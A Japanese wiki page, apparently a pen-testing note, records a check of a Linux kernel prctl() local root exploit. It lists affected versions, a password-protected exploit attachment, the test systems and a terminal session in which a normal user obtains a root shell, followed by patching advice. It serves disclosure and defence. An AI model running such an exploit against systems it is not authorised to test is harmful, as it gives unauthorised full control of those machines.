Linux >= 2.6.13 prctl kernel Local Root Exploit

更新履歴

  • 2006/07/15 検証環境の追加
  • 2006/07/13 初版

概要

  • Linux Kernelの prctl() に脆弱性
  • ローカルユーザはローカルマシンの root 権限を得ることが可能
  • 2006/07/07 公開

影響を受けるシステム

  • Linux Kernel 2.6.13 およびそれ以前

添付ファイル

files password
linux-kernel-prctl.zip pen-test

参考URL

Exploitの検証

検証環境

  • CentOS 4.3
    • Kernel 2.6.9-34.0.1.EL
  • Fedora Core 5
    • Kernel 2.6.15-1.2054_FC5

検証結果

  • root権限を取得可能。
  • 一般ユーザでログイン後、以下コマンドを実行する。
$ id
uid=502(testuser) gid=503(testuser) 所属グループ=503(testuser)
$ 
$ ./linux-kernel-prctl

prctl() suidsafe exploit

(C) Julien TINNES

[+] Installed signal handler
[+] We are suidsafe dumpable!
[+] Malicious string forged
[+] Segfaulting child
[+] Waiting for exploit to succeed (~59 seconds)
[+] getting root shell
sh-3.00# 
sh-3.00# id
uid=0(root) gid=0(root) 所属グループ=503(testuser)
sh-3.00# 

対処方法

  1. Kernelを 2.6.17.4 にバージョンアップ
  2. 各ディストリビューションのkernelアップデート
    • RedHat → 2.6.9-34.0.2.EL にアップデート
  3. 厳密なユーザ管理(パスワードの再考、不要なユーザの削除等)

デモンストレーション

  • 一般ユーザでログイン後、root権限を取得する。

 
exploit/local/unix/linux_kernel_prctl.txt · 最終更新: 2007/10/16 12:02
 
Recent changes RSS feed Creative Commons License Donate Powered by PHP Valid XHTML 1.0 Valid CSS Driven by DokuWiki NINJA TOOLS